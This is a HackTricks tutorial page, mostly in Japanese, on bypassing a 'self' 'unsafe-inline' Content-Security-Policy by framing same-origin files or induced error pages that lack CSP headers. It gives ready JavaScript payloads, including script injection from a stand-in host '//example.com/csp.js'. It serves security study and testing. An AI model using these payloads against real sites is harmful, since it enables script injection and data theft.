CSP bypass: self + 'unsafe-inline' with Iframes

Support HackTricks

次のような設定:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

コードを文字列として送信する関数の使用を禁止します。例えば:eval, setTimeout, setInterval はすべて unsafe-eval の設定によりブロックされます。

外部ソースからのコンテンツもすべてブロックされます。これには画像、CSS、WebSockets、特にJSが含まれます。

テキストと画像を介して

現代のブラウザは、表示を向上させるために画像やテキストをHTMLに変換することが観察されています(例:背景の設定、中央揃えなど)。その結果、iframeを介してfavicon.icorobots.txtのような画像やテキストファイルが開かれると、それはHTMLとしてレンダリングされます。特に、これらのページはCSPヘッダーを欠いていることが多く、X-Frame-Optionsが含まれていない場合があり、そこから任意のJavaScriptを実行できる可能性があります。

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Via Errors

同様に、テキストファイルや画像のようなエラーレスポンスは、通常CSPヘッダーなしで提供され、X-Frame-Optionsを省略することがあります。エラーはiframe内で読み込むように誘発でき、以下のアクションを可能にします:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

指定されたシナリオのいずれかをトリガーした後、iframe内でのJavaScript実行は次のように実現できます:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

参考文献

HackTricksをサポートする

Last updated